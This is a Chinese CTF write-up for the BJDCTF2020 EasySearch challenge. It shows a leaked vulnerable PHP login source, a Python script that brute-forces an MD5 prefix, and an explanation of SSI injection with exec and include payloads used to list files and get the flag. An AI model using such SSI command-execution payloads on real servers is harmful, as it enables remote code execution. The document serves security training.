IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 游戏开发 -> [BJDCTF2020]EasySearch -> 正文阅读

[游戏开发][BJDCTF2020]EasySearch

目录

SSI注入漏洞

简介

SSI注入条件

利用方式


登录框。看一下源码没有东西然后抓包看头没有东西,看了一下题的名字,search?那就扫一下发现是.swp泄露,访问/index.php.swp发现源码

<?php
    ob_start();
    function get_hash(){
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
        $content = uniqid().$random;
        return sha1($content); 
    }
 ?  header("Content-Type: text/html;charset=utf-8");
    ***
 ?  if(isset($_POST['username']) and $_POST['username'] != '' )
 ?  {
 ? ? ?  $admin = '6d0bc1';
 ? ? ?  if ( $admin == substr(md5($_POST['password']),0,6)) {
 ? ? ? ? ?  echo "<script>alert('[+] Welcome to manage system')</script>";
 ? ? ? ? ?  $file_shtml = "public/".get_hash().".shtml";
 ? ? ? ? ?  $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
 ? ? ? ? ?  $text = '
 ? ? ? ? ?  ***
 ? ? ? ? ?  ***
 ? ? ? ? ?  <h1>Hello,'.$_POST['username'].'</h1>
 ? ? ? ? ?  ***
            ***';
 ? ? ? ? ?  fwrite($shtml,$text);
 ? ? ? ? ?  fclose($shtml);
 ? ? ? ? ?  ***
            echo "[!] Header  error ...";
 ? ? ?  } else {
 ? ? ? ? ?  echo "<script>alert('[!] Failed')</script>";
 ? ? ? ? ? ?
 ?  }else
 ?  {
    ***
 ?  }
    ***
?>

审一下,关键点在:

 if(isset($_POST['username']) and $_POST['username'] != '' )
 ?  {
 ? ? ?  $admin = '6d0bc1';
 ? ? ?  if ( $admin == substr(md5($_POST['password']),0,6))

要密码MD5加密的前面是6d0bc1的密文,用python跑一下

import hashlib
?
for i in range(1000000000):
 ?  a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
?
 ?  if a[0:6] == '6d0bc1':
 ? ? ?  print(i)
 ? ? ?  print(a)
2020666
6d0bc1153791aa2b4e18b4f344f26ab4
2305004
6d0bc1ec71a9b814677b85e3ac9c3d40
9162671
6d0bc11ea877b37d694b38ba8a45b19c
51302775
6d0bc1a762d786e2f6ef20f705109f10
106531357
6d0bc1df6c5a457edcd96110a6f31606
129184799
6d0bc12c29dd6da1a9fefa3500d5c4ce
130150733
6d0bc1ae68929247c101271a618a615a
142933021
6d0bc1575d57b01504e7b87dcfbc72d3
149187642
6d0bc132fea1a08abf07106debfee751
192869488
6d0bc124485fad8723b83d2c8922125a
208023084
6d0bc182d7a606b989a3dc278d6e77db
208027520
6d0bc15f0b11d49315698e13041526c0
217103754
6d0bc1b806529d72406f3695f87f1d6a
221210184
6d0bc198539d8bb4464a1ff2643f949f
222678902
6d0bc10a683c85ffa1794d3a879e8cf7
224385291
6d0bc129ef0e340e59ec8c11465eba78
265766148
6d0bc1dc28dce97098e82dd0187f0f3d
295784242
6d0bc15d3483d8f2650a9ecffa8a02cf
354369023
6d0bc1787f2d5cd3b53ea0e378e8d2be
365718766
6d0bc1fca24050df15b53ba09a5f432b
413172293
6d0bc17ebbbac3fa2b0840e66d4e153f
419433490
6d0bc157a080e24b8b95d0d51b2bf833
433348712
6d0bc152be7cb6d07199bfdc6f155289
472457005
6d0bc1f5d916b82eab146d962676afec
476588998
6d0bc1357dc4d72b8263ee2c75131162
512425617
6d0bc1e275dec630239ab1adf8840aca

选一个做密码可以登录

除了弹窗啥也没有,哎?不是!有个小字在左上角[!] Header error ...

抓包呗

抓到了这个小子,shtml!!!shtml有注入

SSI注入漏洞

简介

SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

一个存在反射型XSS漏洞的页面,如果输入的payload不是XSS代码而是SSI的标签,同时服务器又开启了对SSI的支持的话就会存在SSI漏洞。

SSI注入条件

  • Web 应用程序在返回响应的HTML页面时,嵌入了用户输入

  • Web 应用程序未对相关SSI关键字做过滤

  • Web 服务器已支持SSI(服务器端包含)

利用方式

<!--#exec cmd="命令" -->
<! #include file="文件名称"–>

这个题要用到的payload是

<!--#exec cmd="ls" -->

然后得到:

访问一个

得到flag的名称,那就访问一下就得到flag啦!

债见!

感谢BUU提供优质题,感谢勤劳的自己!

  游戏开发 最新文章
6、英飞凌-AURIX-TC3XX: PWM实验之使用 GT
泛型自动装箱
CubeMax添加Rtthread操作系统 组件STM32F10
python多线程编程:如何优雅地关闭线程
数据类型隐式转换导致的阻塞
WebAPi实现多文件上传,并附带参数
from origin ‘null‘ has been blocked by
UE4 蓝图调用C++函数(附带项目工程)
Unity学习笔记(一)结构体的简单理解与应用
【Memory As a Programming Concept in C a
上一篇文章      下一篇文章      查看所有文章
加:2022-04-09 18:49:29  更:2022-04-09 18:50:50 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年1日历 -2025/1/16 20:53:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码